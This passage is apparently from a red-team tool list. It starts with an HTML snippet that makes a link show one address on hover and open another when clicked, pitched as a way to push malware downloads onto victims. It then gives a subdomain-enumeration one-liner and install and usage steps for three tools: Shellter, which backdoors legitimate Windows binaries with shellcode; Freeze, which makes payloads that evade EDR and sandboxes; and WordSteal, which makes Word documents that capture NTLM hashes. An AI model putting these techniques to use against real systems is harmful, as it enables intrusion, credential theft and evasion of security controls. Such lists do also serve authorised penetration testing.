    <title>PreventDefault Example</title>
  </head>
  <body>
    <a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a>
  </body>
</html>

Description: Threat actors have been observed using this technique to trick victims into clicking spoofed in-page malware download links. Using the PreventDefault JavaScript method you can spoof the hover link to display a legit link google.com, but once clicked the victim will be redirected to your malicious link bing.com. Great for getting victims to download payloads via a controlled site.

🔙crt.sh -> httprobe -> EyeWitness

I have put together a bash one-liner that:

  • Passively collects a list of subdomains from certificate associations (crt.sh)
  • Actively requests each subdomain to verify it's existence (httprobe)
  • Actively screenshots each subdomain for manual review (EyeWitness)

Usage:

domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web

Note: You must have httprobe, pup and EyeWitness installed and change 'DOMAIN_COM' to the target domain. You are able to run this script concurrently in terminal windows if you have multiple target root domains

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

It can be used in order to inject shellcode into native Windows applications (currently 32-bit applications only).

Shellter takes advantage of the original structure of the PE file and doesn’t apply any modification such as changing memory access permissions in sections (unless the user wants), adding an extra section with RWE access, and whatever would look dodgy under an AV scan.

Full README information can be found here.

Install: (Kali)

apt-get update
apt-get install shellter

Install: (Windows)

Visit the download page and install.

Usage:

Just pick a legit binary to backdoor and run Shellter.

Some nice tips can be found here.

Lots of community usage demos can be found here.

Freeze is a payload creation tool used for circumventing EDR security controls to execute shellcode in a stealthy manner.

Freeze utilizes multiple techniques to not only remove Userland EDR hooks, but to also execute shellcode in such a way that it circumvents other endpoint monitoring controls.

Install:

git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go

Usage:

  -I string
        Path to the raw 64-bit shellcode.
  -O string
        Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe.
  -console
        Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature.
  -encrypt
        Encrypts the shellcode using AES 256 encryption
  -export string
        For DLL Loaders Only - Specify a specific Export function for a loader to have.
  -process string
        The name of process to spawn. This process has to exist in C:\Windows\System32\. Example 'notepad.exe' (default "notepad.exe")
  -sandbox
        Enables sandbox evasion by checking:
                Is Endpoint joined to a domain?
                Does the Endpoint have more than 2 CPUs?
                Does the Endpoint have more than 4 gigs of RAM?
  -sha256
        Provides the SHA256 value of the loaders (This is useful for tracking)

This script will create a Microsoft Word Document with a remote image, allowing for the capture of NTML hashes from a remote victim endpoint.

Microsoft Word has the ability to include images from remote locations, including a remote image hosted on an attacker controlled SMB server. This gives you the opportunity to listen for, and capture, NTLM hashes that are sent when an authenticated victim opens the Word document and renders the image.

Install:

git clone https://github.com/0x09AL/WordSteal
cd WordSteal

Usage:

# Generate document containing 'test.jpg' and start listener
./main.py 127.0.0.1 test.jpg 1

# Generate document containing 'test.jpg' and do not start listener
./main.py 127.0.0.1 test.jpg 0\n
